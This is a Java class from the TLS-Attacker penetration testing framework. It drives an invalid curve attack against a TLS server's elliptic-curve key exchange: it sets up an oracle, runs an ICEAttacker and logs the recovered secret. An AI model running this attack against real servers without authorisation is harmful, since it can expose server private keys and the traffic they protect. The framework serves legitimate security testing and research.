/** * TLS-Attacker - A Modular Penetration Testing Framework for TLS * * Copyright 2014-2016 Ruhr University Bochum / Hackmanit GmbH * * Licensed under Apache License 2.0 * http://www.apache.org/licenses/LICENSE-2.0 */ package de.rub.nds.tlsattacker.attacks.impl; import de.rub.nds.tlsattacker.attacks.config.InvalidCurveAttackFullCommandConfig; import de.rub.nds.tlsattacker.attacks.ec.ICEAttacker; import de.rub.nds.tlsattacker.attacks.ec.oracles.RealDirectMessageECOracle; import de.rub.nds.tlsattacker.tls.Attacker; import de.rub.nds.tlsattacker.tls.config.ConfigHandler; import de.rub.nds.tlsattacker.tls.crypto.ec.Curve; import de.rub.nds.tlsattacker.tls.crypto.ec.CurveFactory; import de.rub.nds.tlsattacker.tls.exceptions.ConfigurationException; import de.rub.nds.tlsattacker.tls.util.LogLevel; import java.math.BigInteger; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; /** * * @author Juraj Somorovsky <juraj.somorovsky@rub.de> */ public class InvalidCurveAttackFull extends Attacker<InvalidCurveAttackFullCommandConfig> { private static final Logger LOGGER = LogManager.getLogger(InvalidCurveAttackFull.class); public InvalidCurveAttackFull(InvalidCurveAttackFullCommandConfig config) { super(config); } @Override public void executeAttack(ConfigHandler configHandler) { if (config.getNamedCurves().size() > 1) { throw new ConfigurationException("Please specify only one named curve which should be attacked"); } LOGGER.info("Executing attack against the server with named curve {}", config.getNamedCurves().get(0)); Curve curve = CurveFactory.getNamedCurve(config.getNamedCurves().get(0).name()); RealDirectMessageECOracle oracle = new RealDirectMessageECOracle(config, curve); ICEAttacker attacker = new ICEAttacker(oracle, config.getServerType(), config.getAdditionalEquations()); attacker.attack(); BigInteger result = attacker.getResult(); LOGGER.log(LogLevel.CONSOLE_OUTPUT, "Result found: {}", result); } }